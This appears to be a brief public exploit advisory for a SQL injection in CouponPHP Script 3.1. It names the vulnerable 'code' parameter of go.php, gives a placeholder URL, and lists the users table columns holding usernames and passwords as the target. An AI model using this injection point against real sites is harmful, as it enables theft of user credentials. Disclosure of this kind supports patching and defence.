CouponPHP CMS 3.1 - 'code' SQL Injection

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# Exploit Title: CouponPHP Script v3.1 - SQL Injection
# Google Dork: N/A
# Date: 27.03.2017
# Vendor Homepage: http://couponphp.com/
# Software: http://couponphp.com/demos
# Demo: http://newdemo2.couponphp.com
# Demo: http://newdemo3.couponphp.com
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
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# SQL Injection/Exploit :
# http://localhost/[PATH]/go.php?coupon_id=1&code=[SQL]
# users
#  id
#  username
#  password
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